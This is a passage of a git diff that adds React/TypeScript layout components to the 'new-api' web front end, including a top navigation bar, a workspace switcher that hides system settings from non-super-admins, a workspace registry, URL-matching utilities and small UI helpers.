+import { Menu } from 'lucide-react'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { type TopNavLink } from '../types'
+
+type TopNavProps = React.HTMLAttributes<HTMLElement> & {
+  links: TopNavLink[]
+}
+
+/**
+ * 顶部导航栏组件
+ * 在大屏幕显示水平导航，在小屏幕显示下拉菜单
+ */
+export function TopNav({ className, links, ...props }: TopNavProps) {
+  // 规范化链接，确保所有可选属性都有默认值
+  const normalizedLinks = useMemo(
+    () =>
+      links.map((link) => ({
+        isActive: false,
+        disabled: false,
+        external: false,
+        ...link,
+      })),
+    [links]
+  )
+
+  return (
+    <>
+      {/* 移动端下拉菜单 */}
+      <div className='lg:hidden'>
+        <DropdownMenu modal={false}>
+          <DropdownMenuTrigger asChild>
+            <Button size='icon' variant='outline' className='size-7'>
+              <Menu />
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent side='bottom' align='start'>
+            {normalizedLinks.map(
+              ({ title, href, isActive, disabled, external }) => (
+                <DropdownMenuItem key={`${title}-${href}`} asChild>
+                  {external ? (
+                    <a
+                      href={href}
+                      target='_blank'
+                      rel='noopener noreferrer'
+                      className={!isActive ? 'text-muted-foreground' : ''}
+                    >
+                      {title}
+                    </a>
+                  ) : (
+                    <Link
+                      to={href}
+                      className={!isActive ? 'text-muted-foreground' : ''}
+                      disabled={disabled}
+                    >
+                      {title}
+                    </Link>
+                  )}
+                </DropdownMenuItem>
+              )
+            )}
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </div>
+
+      {/* 桌面端水平导航 */}
+      <nav
+        className={cn(
+          'hidden items-center space-x-4 lg:flex lg:space-x-4 xl:space-x-6',
+          className
+        )}
+        {...props}
+      >
+        {normalizedLinks.map(({ title, href, isActive, disabled, external }) =>
+          external ? (
+            <a
+              key={`${title}-${href}`}
+              href={href}
+              target='_blank'
+              rel='noopener noreferrer'
+              className={`hover:text-primary text-sm font-medium transition-colors ${isActive ? '' : 'text-muted-foreground'}`}
+            >
+              {title}
+            </a>
+          ) : (
+            <Link
+              key={`${title}-${href}`}
+              to={href}
+              disabled={disabled}
+              className={`hover:text-primary text-sm font-medium transition-colors ${isActive ? '' : 'text-muted-foreground'}`}
+            >
+              {title}
+            </Link>
+          )
+        )}
+      </nav>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/workspace-switcher.tsx b/new-api/web/default/src/components/layout/components/workspace-switcher.tsx
new file mode 100644
index 0000000..fc1801d
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/workspace-switcher.tsx
@@ -0,0 +1,207 @@
+import * as React from 'react'
+import { useNavigate, useLocation } from '@tanstack/react-router'
+import { ChevronsUpDown } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { ROLE } from '@/lib/roles'
+import { useStatus } from '@/hooks/use-status'
+import { useSystemConfig } from '@/hooks/use-system-config'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import {
+  SidebarMenu,
+  SidebarMenuButton,
+  SidebarMenuItem,
+  useSidebar,
+} from '@/components/ui/sidebar'
+import { useWorkspace } from '../context/workspace-context'
+import { getWorkspaceByPath, WORKSPACE_IDS } from '../lib/workspace-registry'
+import { type Workspace } from '../types'
+
+type WorkspaceSwitcherProps = {
+  workspaces: Workspace[]
+  defaultName?: string
+  defaultVersion?: string
+}
+
+/**
+ * Workspace switcher component
+ * Allows users to switch between different workspaces
+ * - Regular users can only see the default workspace
+ * - Super administrators can see the system settings workspace
+ */
+export function WorkspaceSwitcher({
+  workspaces,
+  defaultName = 'New API',
+  defaultVersion,
+}: WorkspaceSwitcherProps) {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+  const { pathname } = useLocation()
+  const { isMobile } = useSidebar()
+  const { status } = useStatus()
+  const { logo } = useSystemConfig()
+  const isSuperAdmin = useAuthStore(
+    (state) => state.auth.user?.role === ROLE.SUPER_ADMIN
+  )
+  const { activeWorkspace, setActiveWorkspace } = useWorkspace()
+
+  // Handle workspace list:
+  // 1. Populate first workspace with system info
+  // 2. Filter based on user permissions (non-super admins cannot see system settings)
+  const availableWorkspaces = React.useMemo(
+    () =>
+      workspaces
+        .map((workspace, index) =>
+          index === 0
+            ? {
+                ...workspace,
+                name: status?.system_name || defaultName,
+                plan: status?.version || defaultVersion || t('Unknown version'),
+              }
+            : workspace
+        )
+        .filter(
+          (workspace) =>
+            isSuperAdmin || workspace.id !== WORKSPACE_IDS.SYSTEM_SETTINGS
+        ),
+    [
+      workspaces,
+      status?.system_name,
+      status?.version,
+      defaultName,
+      defaultVersion,
+      isSuperAdmin,
+      t,
+    ]
+  )
+
+  // Initialize and synchronize active workspace
+  // Detect from URL first, then sync from activeWorkspace
+  React.useEffect(() => {
+    // Detect which workspace should be active from workspace registry
+    const detectedWorkspace = getWorkspaceByPath(pathname)
+
+    if (detectedWorkspace.id === WORKSPACE_IDS.SYSTEM_SETTINGS) {
+      // Currently in system settings route, should activate System Settings workspace
+      const systemSettingsWorkspace = availableWorkspaces.find(
+        (w) => w.id === WORKSPACE_IDS.SYSTEM_SETTINGS
+      )
+      if (systemSettingsWorkspace) {
+        setActiveWorkspace(systemSettingsWorkspace)
+      }
+    } else {
+      // Currently in main workspace route, should activate main workspace
+      const mainWorkspace =
+        availableWorkspaces.find((w) => w.id === WORKSPACE_IDS.DEFAULT) ||
+        availableWorkspaces[0]
+      if (mainWorkspace) {
+        setActiveWorkspace(mainWorkspace)
+      }
+    }
+  }, [pathname, availableWorkspaces, setActiveWorkspace])
+
+  const handleWorkspaceChange = (workspace: Workspace) => {
+    // Only navigate, let useEffect synchronize workspace state based on new pathname
+    // This avoids race conditions and context loss issues
+    if (workspace.id === WORKSPACE_IDS.SYSTEM_SETTINGS) {
+      navigate({ to: '/system-settings/general' })
+    } else {
+      navigate({ to: '/dashboard' })
+    }
+  }
+
+  if (!activeWorkspace) {
+    return null
+  }
+
+  const canSwitchWorkspace = availableWorkspaces.length > 1
+  const workspaceButtonContent = (
+    <>
+      {activeWorkspace.id === WORKSPACE_IDS.SYSTEM_SETTINGS ? (
+        <div className='bg-sidebar-primary text-sidebar-primary-foreground flex aspect-square size-8 items-center justify-center rounded-lg'>
+          <activeWorkspace.logo className='size-4' />
+        </div>
+      ) : (
+        <div className='flex aspect-square size-8 items-center justify-center overflow-hidden rounded-lg'>
+          <img
+            src={logo}
+            alt={t('Logo')}
+            className='size-full rounded-lg object-cover'
+          />
+        </div>
+      )}
+      <div className='grid flex-1 text-start text-sm leading-tight group-data-[collapsible=icon]:hidden'>
+        <span className='truncate font-semibold'>{activeWorkspace.name}</span>
+        <span className='truncate text-xs'>{activeWorkspace.plan}</span>
+      </div>
+      {canSwitchWorkspace && (
+        <ChevronsUpDown className='ms-auto group-data-[collapsible=icon]:hidden' />
+      )}
+    </>
+  )
+
+  return (
+    <SidebarMenu>
+      <SidebarMenuItem>
+        {canSwitchWorkspace ? (
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <SidebarMenuButton
+                size='lg'
+                className='data-[state=open]:bg-sidebar-accent data-[state=open]:text-sidebar-accent-foreground'
+              >
+                {workspaceButtonContent}
+              </SidebarMenuButton>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent
+              className='w-(--radix-dropdown-menu-trigger-width) min-w-56 rounded-lg'
+              align='start'
+              side={isMobile ? 'bottom' : 'right'}
+              sideOffset={4}
+            >
+              <DropdownMenuLabel className='text-muted-foreground text-xs'>
+                {t('Workspaces')}
+              </DropdownMenuLabel>
+              {availableWorkspaces.map((workspace, index) => (
+                <DropdownMenuItem
+                  key={workspace.id}
+                  onClick={() => handleWorkspaceChange(workspace)}
+                  className='gap-2 p-2'
+                >
+                  {index === 0 ? (
+                    <div className='flex size-6 items-center justify-center overflow-hidden rounded-sm border'>
+                      <img
+                        src={logo}
+                        alt='Logo'
+                        className='size-full object-cover'
+                      />
+                    </div>
+                  ) : (
+                    <div className='flex size-6 items-center justify-center rounded-sm border'>
+                      <workspace.logo className='size-4 shrink-0' />
+                    </div>
+                  )}
+                  {workspace.name}
+                </DropdownMenuItem>
+              ))}
+            </DropdownMenuContent>
+          </DropdownMenu>
+        ) : (
+          <SidebarMenuButton
+            asChild
+            size='lg'
+            className='cursor-default hover:bg-transparent hover:text-sidebar-foreground active:bg-transparent active:text-sidebar-foreground'
+          >
+            <div>{workspaceButtonContent}</div>
+          </SidebarMenuButton>
+        )}
+      </SidebarMenuItem>
+    </SidebarMenu>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/config/system-settings.config.ts b/new-api/web/default/src/components/layout/config/system-settings.config.ts
new file mode 100644
index 0000000..acba76e
--- /dev/null
+++ b/new-api/web/default/src/components/layout/config/system-settings.config.ts
@@ -0,0 +1,70 @@
+import { type TFunction } from 'i18next'
+import {
+  Settings,
+  Shield,
+  ShieldAlert,
+  Layout,
+  Plug,
+  Box,
+  Wrench,
+} from 'lucide-react'
+import { getAuthSectionNavItems } from '@/features/system-settings/auth/section-registry.tsx'
+import { getContentSectionNavItems } from '@/features/system-settings/content/section-registry.tsx'
+import { getGeneralSectionNavItems } from '@/features/system-settings/general/section-registry.tsx'
+import { getIntegrationsSectionNavItems } from '@/features/system-settings/integrations/section-registry.tsx'
+import { getMaintenanceSectionNavItems } from '@/features/system-settings/maintenance/section-registry.tsx'
+import { getModelsSectionNavItems } from '@/features/system-settings/models/section-registry.tsx'
+import { getRequestLimitsSectionNavItems } from '@/features/system-settings/request-limits/section-registry.tsx'
+import { type NavGroup } from '../types'
+
+/**
+ * System settings sidebar configuration
+ * Displayed when switching to "System Settings" workspace
+ */
+export const WORKSPACE_SYSTEM_SETTINGS_ID = 'system-settings'
+
+export function getSystemSettingsNavGroups(t: TFunction): NavGroup[] {
+  return [
+    {
+      id: 'system-administration',
+      title: t('System Administration'),
+      items: [
+        {
+          title: t('General'),
+          icon: Settings,
+          items: getGeneralSectionNavItems(t),
+        },
+        {
+          title: t('Authentication'),
+          icon: Shield,
+          items: getAuthSectionNavItems(t),
+        },
+        {
+          title: t('Request Limits'),
+          icon: ShieldAlert,
+          items: getRequestLimitsSectionNavItems(t),
+        },
+        {
+          title: t('Content'),
+          icon: Layout,
+          items: getContentSectionNavItems(t),
+        },
+        {
+          title: t('Integrations'),
+          icon: Plug,
+          items: getIntegrationsSectionNavItems(t),
+        },
+        {
+          title: t('Models'),
+          icon: Box,
+          items: getModelsSectionNavItems(t),
+        },
+        {
+          title: t('Maintenance'),
+          icon: Wrench,
+          items: getMaintenanceSectionNavItems(t),
+        },
+      ],
+    },
+  ]
+}
diff --git a/new-api/web/default/src/components/layout/config/top-nav.config.ts b/new-api/web/default/src/components/layout/config/top-nav.config.ts
new file mode 100644
index 0000000..66dda32
--- /dev/null
+++ b/new-api/web/default/src/components/layout/config/top-nav.config.ts
@@ -0,0 +1,12 @@
+import { type TopNavLink } from '../types'
+
+/**
+ * Default top navigation links
+ *
+ * In practice, navigation links are dynamically fetched from backend.
+ * Priority: Backend dynamic links > Provided navLinks > defaultTopNavLinks
+ *
+ * This is intentionally empty to encourage backend configuration.
+ * If you need fallback links, add them here.
+ */
+export const defaultTopNavLinks: TopNavLink[] = []
diff --git a/new-api/web/default/src/components/layout/constants.ts b/new-api/web/default/src/components/layout/constants.ts
new file mode 100644
index 0000000..dd7c2f0
--- /dev/null
+++ b/new-api/web/default/src/components/layout/constants.ts
@@ -0,0 +1,47 @@
+/**
+ * Layout constants and configurations
+ */
+
+/**
+ * Animation variants for mobile drawer
+ */
+export const MOBILE_DRAWER_ANIMATION = {
+  overlay: {
+    hidden: { opacity: 0 },
+    visible: { opacity: 1 },
+    exit: { opacity: 0 },
+  },
+  drawer: {
+    hidden: { opacity: 0, y: 100 },
+    visible: {
+      opacity: 1,
+      y: 0,
+      rotate: 0,
+      transition: {
+        type: 'spring',
+        damping: 15,
+        stiffness: 200,
+        staggerChildren: 0.03,
+      },
+    },
+    exit: {
+      opacity: 0,
+      y: 100,
+      transition: { duration: 0.1 },
+    },
+  },
+  menuItem: {
+    hidden: { opacity: 0 },
+    visible: { opacity: 1 },
+  },
+} as const
+
+/**
+ * Mobile drawer configuration
+ */
+export const MOBILE_DRAWER_CONFIG = {
+  overlayTransitionDuration: 0.2,
+  drawerClassName:
+    'fixed inset-x-0 bottom-3 z-50 mx-auto w-[95%] rounded-xl border border-border bg-background p-4 shadow-lg md:hidden',
+  overlayClassName: 'fixed inset-0 z-40 bg-black/50 backdrop-blur-sm',
+} as const
diff --git a/new-api/web/default/src/components/layout/context/workspace-context.tsx b/new-api/web/default/src/components/layout/context/workspace-context.tsx
new file mode 100644
index 0000000..ca1ec28
--- /dev/null
+++ b/new-api/web/default/src/components/layout/context/workspace-context.tsx
@@ -0,0 +1,44 @@
+/* eslint-disable react-refresh/only-export-components */
+import * as React from 'react'
+import { type Workspace } from '../types'
+
+type WorkspaceContextType = {
+  activeWorkspace: Workspace | null
+  setActiveWorkspace: (workspace: Workspace) => void
+}
+
+const WorkspaceContext = React.createContext<WorkspaceContextType | undefined>(
+  undefined
+)
+
+/**
+ * 工作区上下文 Provider
+ * 管理当前激活的工作区状态，用于切换不同的侧边栏视图
+ */
+export function WorkspaceProvider({ children }: { children: React.ReactNode }) {
+  const [activeWorkspace, setActiveWorkspace] =
+    React.useState<Workspace | null>(null)
+
+  const value = React.useMemo(
+    () => ({ activeWorkspace, setActiveWorkspace }),
+    [activeWorkspace]
+  )
+
+  return (
+    <WorkspaceContext.Provider value={value}>
+      {children}
+    </WorkspaceContext.Provider>
+  )
+}
+
+/**
+ * 使用工作区上下文的 Hook
+ * @throws 如果在 WorkspaceProvider 外部使用会抛出错误
+ */
+export function useWorkspace() {
+  const context = React.useContext(WorkspaceContext)
+  if (!context) {
+    throw new Error('useWorkspace must be used within WorkspaceProvider')
+  }
+  return context
+}
diff --git a/new-api/web/default/src/components/layout/index.ts b/new-api/web/default/src/components/layout/index.ts
new file mode 100644
index 0000000..131580f
--- /dev/null
+++ b/new-api/web/default/src/components/layout/index.ts
@@ -0,0 +1,56 @@
+/**
+ * Layout 组件统一导出
+ */
+
+// 核心组件
+export { AppHeader } from './components/app-header'
+export { AppSidebar } from './components/app-sidebar'
+export { AuthenticatedLayout } from './components/authenticated-layout'
+export { PublicLayout } from './components/public-layout'
+export { PublicHeader } from './components/public-header'
+export { PublicNavigation } from './components/public-navigation'
+export { HeaderLogo } from './components/header-logo'
+export { NavLinkItem, NavLinkList } from './components/nav-link-item'
+export { Header } from './components/header'
+export { Main } from './components/main'
+export { PageFooterPortal } from './components/page-footer'
+export { NavGroup } from './components/nav-group'
+export { SectionPageLayout } from './components/section-page-layout'
+export { WorkspaceSwitcher } from './components/workspace-switcher'
+export { TopNav } from './components/top-nav'
+export { MobileDrawer } from './components/mobile-drawer'
+
+// 上下文
+export { WorkspaceProvider, useWorkspace } from './context/workspace-context'
+
+// 配置
+export {
+  getSystemSettingsNavGroups,
+  WORKSPACE_SYSTEM_SETTINGS_ID,
+} from './config/system-settings.config'
+export { defaultTopNavLinks } from './config/top-nav.config'
+
+// 常量
+export { MOBILE_DRAWER_ANIMATION, MOBILE_DRAWER_CONFIG } from './constants'
+
+// 工具函数 - 工作区注册表
+export {
+  getWorkspaceByPath,
+  getNavGroupsForPath,
+  isInWorkspace,
+  getAllWorkspaces,
+  WORKSPACE_IDS,
+} from './lib/workspace-registry'
+
+// 类型导出（使用 type-only 导出避免与组件冲突）
+export type {
+  Workspace,
+  NavLink,
+  NavCollapsible,
+  NavItem,
+  NavGroup as NavGroupType,
+  SidebarData,
+  TopNavLink,
+} from './types'
+export type { WorkspaceConfig, WorkspaceId } from './lib/workspace-registry'
+export type { SectionPageLayoutProps } from './components/section-page-layout'
diff --git a/new-api/web/default/src/components/layout/lib/url-utils.ts b/new-api/web/default/src/components/layout/lib/url-utils.ts
new file mode 100644
index 0000000..d2a9bb9
--- /dev/null
+++ b/new-api/web/default/src/components/layout/lib/url-utils.ts
@@ -0,0 +1,103 @@
+import type { LinkProps } from '@tanstack/react-router'
+import type { NavItem, NavCollapsible } from '../types'
+
+/**
+ * Convert LinkProps['to'] to string
+ * Handles both string URLs and object URLs (e.g., { pathname, search })
+ */
+function urlToString(url: LinkProps['to'] | (string & {})): string | null {
+  if (typeof url === 'string') {
+    return url
+  }
+  if (url && typeof url === 'object' && !Array.isArray(url)) {
+    // Handle object URLs like { pathname: string, search?: string }
+    const urlObj = url as Record<string, unknown>
+    const pathname = typeof urlObj.pathname === 'string' ? urlObj.pathname : ''
+    const search = typeof urlObj.search === 'string' ? urlObj.search : ''
+    return pathname + search
+  }
+  return null
+}
+
+/**
+ * Normalize URL by removing query parameters and trailing slashes
+ */
+export function normalizeHref(href: string): string {
+  const withoutQuery = href.split('?')[0]
+  return withoutQuery.length > 1
+    ? withoutQuery.replace(/\/+$/, '')
+    : withoutQuery
+}
+
+/**
+ * Check if a navigation item is active
+ * @param href - Current URL
+ * @param item - Navigation item
+ * @param mainNav - Whether this is a main navigation item (matches first-level path)
+ */
+export function checkIsActive(
+  href: string,
+  item: NavItem,
+  mainNav = false
+): boolean {
+  const hrefWithoutQuery = href.split('?')[0]
+
+  if (item.activeUrls?.some((url) => urlToString(url) === hrefWithoutQuery)) {
+    return true
+  }
+
+  // For collapsible items (NavCollapsible), check sub-items first
+  if ('items' in item && item.items) {
+    const collapsibleItem = item as NavCollapsible
+    const items = collapsibleItem.items
+
+    // Check if any sub-item matches
+    if (
+      items.some((i) => {
+        if (!i?.url) return false
+        const subItemUrl = urlToString(i.url)
+        if (!subItemUrl) return false
+        if (href === subItemUrl) return true
+        const subItemUrlWithoutQuery = subItemUrl.split('?')[0]
+        const subItemUrlHasQuery = subItemUrl.includes('?')
+        if (subItemUrlWithoutQuery === hrefWithoutQuery) {
+          // If sub-item URL has no query params, pathname match is enough (href may have query params)
+          if (!subItemUrlHasQuery) return true
+          // If sub-item URL has query params, they must match exactly
+          if (subItemUrlHasQuery && href === subItemUrl) return true
+        }
+        return false
+      })
+    )
+      return true
+  }
+
+  // For regular link items, check the item's URL
+  if (!item.url) return false
+
+  const itemUrl = urlToString(item.url)
+  if (!itemUrl) return false
+
+  // Exact match
+  if (href === itemUrl) return true
+
+  const itemUrlWithoutQuery = itemUrl.split('?')[0]
+  const itemUrlHasQuery = itemUrl.includes('?')
+
+  // If both URLs have the same base path
+  if (hrefWithoutQuery === itemUrlWithoutQuery) {
+    // If item.url has no query params, pathname match is enough (current URL may have query params)
+    if (!itemUrlHasQuery) return true
+    // If item.url has query params, they must match exactly
+    if (itemUrlHasQuery && href === itemUrl) return true
+  }
+
+  // Main navigation match (matches first-level path)
+  if (mainNav && href.split('/')[1] && itemUrl) {
+    const hrefFirstPath = href.split('/')[1]
+    const itemFirstPath = itemUrl.split('/')[1]
+    return hrefFirstPath === itemFirstPath
+  }
+
+  return false
+}
diff --git a/new-api/web/default/src/components/layout/lib/workspace-registry.example.ts b/new-api/web/default/src/components/layout/lib/workspace-registry.example.ts
new file mode 100644
index 0000000..406c995
--- /dev/null
+++ b/new-api/web/default/src/components/layout/lib/workspace-registry.example.ts
@@ -0,0 +1,101 @@
+/**
+ * 工作区注册表使用示例
+ *
+ * 本文件展示如何添加新工作区，仅作示例参考，不会被编译
+ */
+
+/**
+ * 步骤1: 创建工作区的侧边栏配置文件
+ * 例如：web/src/components/layout/config/user-management.config.ts
+ */
+/*
+import { Users, UserPlus, Shield } from 'lucide-react'
+import { type NavGroup } from '../types'
+
+export const userManagementConfig: NavGroup[] = [
+  {
+    title: 'User Management',
+    items: [
+      {
+        title: 'All Users',
+        url: '/user-management/list',
+        icon: Users,
+      },
+      {
+        title: 'Create User',
+        url: '/user-management/create',
+        icon: UserPlus,
+      },
+      {
+        title: 'Permissions',
+        url: '/user-management/permissions',
+        icon: Shield,
+      },
+    ],
+  },
+]
+*/
+
+/**
+ * 步骤2: 在 workspace-registry.ts 中注册新工作区
+ * 在 workspaceRegistry 数组中添加配置（在默认工作区之前）
+ */
+/*
+import { userManagementConfig } from '../config/user-management.config'
+
+const workspaceRegistry: WorkspaceConfig[] = [
+  // System Settings 工作区
+  {
+    name: 'System Settings',
+    pathPattern: /^\/system-settings/,
+    navGroups: systemSettingsConfig,
+  },
+  // 新增的 User Management 工作区
+  {
+    name: 'User Management',
+    pathPattern: /^\/user-management/,  // 或使用字符串: '/user-management'
+    navGroups: userManagementConfig,
+  },
+  // 默认工作区（必须放在最后）
+  {
+    name: 'Default',
+    pathPattern: /.* /,
+    navGroups: sidebarConfig.navGroups,
+  },
+]
+*/
+
+/**
+ * 步骤3: （可选）在 sidebar.config.ts 中添加工作区到切换器
+ */
+/*
+export const sidebarConfig: SidebarData = {
+  workspaces: [
+    {
+      name: '',
+      logo: Command,
+      plan: '',
+    },
+    {
+      name: 'User Management',
+      logo: Users,
+      plan: 'Manage users',
+    },
+    {
+      name: 'System Settings',
+      logo: Settings,
+      plan: 'Manage and configure',
+    },
+  ],
+  navGroups: [...],
+}
+*/
+
+/**
+ * 同语注：这里就完成了，现在：
+ * - 侧边栏会根据当前路径自动切换显示对应的工作区菜单
+ * - 搜索功能会自动显示当前工作区的菜单项
+ * - 工作区切换器会显示新的工作区选项
+ *
+ * 无需修改任何其他文件！
+ */
diff --git a/new-api/web/default/src/components/layout/lib/workspace-registry.ts b/new-api/web/default/src/components/layout/lib/workspace-registry.ts
new file mode 100644
index 0000000..443337b
--- /dev/null
+++ b/new-api/web/default/src/components/layout/lib/workspace-registry.ts
@@ -0,0 +1,110 @@
+import { type TFunction } from 'i18next'
+import {
+  getSystemSettingsNavGroups,
+  WORKSPACE_SYSTEM_SETTINGS_ID,
+} from '../config/system-settings.config'
+import type { NavGroup } from '../types'
+
+export const WORKSPACE_IDS = {
+  SYSTEM_SETTINGS: WORKSPACE_SYSTEM_SETTINGS_ID,
+  DEFAULT: 'default',
+} as const
+
+export type WorkspaceId = (typeof WORKSPACE_IDS)[keyof typeof WORKSPACE_IDS]
+
+/**
+ * Workspace configuration type
+ * Each workspace contains name, path matching rules, and corresponding navigation group configuration
+ */
+export type WorkspaceConfig = {
+  /** Workspace identifier (for logic) */
+  id: WorkspaceId
+  /** Workspace name */
+  name: string
+  /** Path matching rule, supports string (contains match) or regular expression */
+  pathPattern: string | RegExp
+  /** Sidebar navigation group configuration for this workspace */
+  getNavGroups?: (t: TFunction) => NavGroup[]
+}
+
+/**
+ * Workspace registry
+ *
+ * Sorted by priority, first matched workspace will be used
+ * Last one should be default workspace (matches all paths)
+ *
+ * @example
+ * // Add new workspace
+ * {
+ *   name: 'User Management',
+ *   pathPattern: /^\/user-management/,
+ *   navGroups: userManagementConfig
+ * }
+ */
+const workspaceRegistry: WorkspaceConfig[] = [
+  // System Settings workspace
+  {
+    id: WORKSPACE_IDS.SYSTEM_SETTINGS,
+    name: 'System Settings',
+    pathPattern: /^\/system-settings/,
+    getNavGroups: getSystemSettingsNavGroups,
+  },
+  // Default workspace (must be last)
+  {
+    id: WORKSPACE_IDS.DEFAULT,
+    name: 'Default',
+    pathPattern: /.*/,
+    // getNavGroups is undefined, will be handled by consumers (e.g. useSidebarData)
+  },
+]
+
+/**
+ * Get matched workspace configuration based on path
+ * @param pathname - Current route path
+ * @returns Matched workspace configuration
+ */
+export function getWorkspaceByPath(pathname: string): WorkspaceConfig {
+  const workspace = workspaceRegistry.find((ws) => {
+    if (typeof ws.pathPattern === 'string') {
+      return pathname.includes(ws.pathPattern)
+    }
+    return ws.pathPattern.test(pathname)
+  })
+
+  // If no match, return default workspace (last one)
+  return workspace || workspaceRegistry[workspaceRegistry.length - 1]
+}
+
+/**
+ * Get corresponding sidebar navigation group configuration based on path
+ * @param pathname - Current route path
+ * @returns Navigation group configuration for corresponding workspace
+ */
+export function getNavGroupsForPath(
+  pathname: string,
+  t: TFunction
+): NavGroup[] | undefined {
+  const workspace = getWorkspaceByPath(pathname)
+  return workspace.getNavGroups?.(t)
+}
+
+/**
+ * Determine if in specified workspace
+ * @param pathname - Current route path
+ * @param workspaceId - Workspace identifier
+ * @returns Whether in specified workspace
+ */
+export function isInWorkspace(
+  pathname: string,
+  workspaceId: WorkspaceId
+): boolean {
+  return getWorkspaceByPath(pathname).id === workspaceId
+}
+
+/**
+ * Get all registered workspace configurations
+ * @returns Array of workspace configurations
+ */
+export function getAllWorkspaces(): WorkspaceConfig[] {
+  return workspaceRegistry
+}
diff --git a/new-api/web/default/src/components/layout/types.ts b/new-api/web/default/src/components/layout/types.ts
new file mode 100644
index 0000000..fa76ffe
--- /dev/null
+++ b/new-api/web/default/src/components/layout/types.ts
@@ -0,0 +1,83 @@
+import { type LinkProps } from '@tanstack/react-router'
+
+/**
+ * Workspace type
+ * Used for top switcher to display different workspaces
+ */
+export type Workspace = {
+  id: string
+  name: string
+  logo: React.ElementType
+  plan: string
+}
+
+/**
+ * Base navigation item type
+ */
+type BaseNavItem = {
+  title: string
+  badge?: string
+  icon?: React.ElementType
+  activeUrls?: (LinkProps['to'] | (string & {}))[]
+  configUrls?: (LinkProps['to'] | (string & {}))[]
+}
+
+/**
+ * Navigation link type - single link item
+ */
+export type NavLink = BaseNavItem & {
+  url: LinkProps['to'] | (string & {})
+  items?: never
+  type?: never
+}
+
+/**
+ * Navigation collapsible type - collapsible navigation with sub-items
+ */
+export type NavCollapsible = BaseNavItem & {
+  items: (BaseNavItem & { url: LinkProps['to'] | (string & {}) })[]
+  url?: never
+  type?: never
+}
+
+/**
+ * Dynamic chat presets type - dynamically loaded chat preset list from API
+ */
+export type NavChatPresets = BaseNavItem & {
+  type: 'chat-presets'
+  url?: never
+  items?: never
+}
+
+/**
+ * Navigation item union type
+ */
+export type NavItem = NavCollapsible | NavLink | NavChatPresets
+
+/**
+ * Navigation group type - a group of navigation items in sidebar
+ */
+export type NavGroup = {
+  id?: string
+  title: string
+  items: NavItem[]
+}
+
+/**
+ * Sidebar data type
+ */
+export type SidebarData = {
+  workspaces: Workspace[]
+  navGroups: NavGroup[]
+}
+
+/**
+ * Top navigation link type
+ */
+export type TopNavLink = {
+  title: string
+  href: string
+  isActive?: boolean
+  disabled?: boolean
+  external?: boolean
+}
diff --git a/new-api/web/default/src/components/learn-more.tsx b/new-api/web/default/src/components/learn-more.tsx
new file mode 100644
index 0000000..4847287
--- /dev/null
+++ b/new-api/web/default/src/components/learn-more.tsx
@@ -0,0 +1,46 @@
+import { type Root, type Content, type Trigger } from '@radix-ui/react-popover'
+import { CircleQuestionMark } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+
+type LearnMoreProps = React.ComponentProps<typeof Root> & {
+  contentProps?: React.ComponentProps<typeof Content>
+  triggerProps?: React.ComponentProps<typeof Trigger>
+}
+
+export function LearnMore({
+  children,
+  contentProps,
+  triggerProps,
+  ...props
+}: LearnMoreProps) {
+  const { t } = useTranslation()
+  return (
+    <Popover {...props}>
+      <PopoverTrigger
+        asChild
+        {...triggerProps}
+        className={cn('size-5 rounded-full', triggerProps?.className)}
+      >
+        <Button variant='outline' size='icon'>
+          <span className='sr-only'>{t('Learn more')}</span>
+          <CircleQuestionMark className='size-4 [&>circle]:hidden' />
+        </Button>
+      </PopoverTrigger>
+      <PopoverContent
+        side='top'
+        align='start'
+        {...contentProps}
+        className={cn('text-muted-foreground text-sm', contentProps?.className)}
+      >
+        {children}
+      </PopoverContent>
+    </Popover>
+  )
+}
diff --git a/new-api/web/default/src/components/loading-state.tsx b/new-api/web/default/src/components/loading-state.tsx
new file mode 100644
index 0000000..b14667c
--- /dev/null
+++ b/new-api/web/default/src/components/loading-state.tsx
@@ -0,0 +1,48 @@
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+
+interface LoadingStateProps {
+  className?: string
+  message?: string
+  size?: 'sm' | 'md' | 'lg'
+  inline?: boolean
+}
+
+const sizeMap = {
+  sm: 'size-4',
+  md: 'size-6',
+  lg: 'size-8',
+} as const
+
+export function LoadingState(props: LoadingStateProps) {
+  const { t } = useTranslation()
+  const iconSize = sizeMap[props.size ?? 'md']
+
+  if (props.inline) {
+    return (
+      <span className={cn('inline-flex items-center gap-2', props.className)}>
+        <Loader2 className={cn(iconSize, 'animate-spin')} />
+        {props.message != null && (
+          <span className='text-muted-foreground text-sm'>{props.message}</span>
+        )}
+      </span>
+    )
+  }
+
+  return (
+    <div
+      className={cn(
+        'flex min-h-[200px] flex-col items-center justify-center gap-3',
+        props.className
+      )}
+    >
+      <div className='animate-spin'>
+        <Loader2 className={iconSize} />
+      </div>
+      <p className='text-muted-foreground text-sm'>
+        {props.message ?? t('Loading...')}
+      </p>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/long-text.tsx b/new-api/web/default/src/components/long-text.tsx
new file mode 100644
index 0000000..ace1d46
--- /dev/null
+++ b/new-api/web/default/src/components/long-text.tsx
@@ -0,0 +1,86 @@
+import { useEffect, useRef, useState } from 'react'
+import { cn } from '@/lib/utils'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+
+type LongTextProps = {
+  children: React.ReactNode
+  className?: string
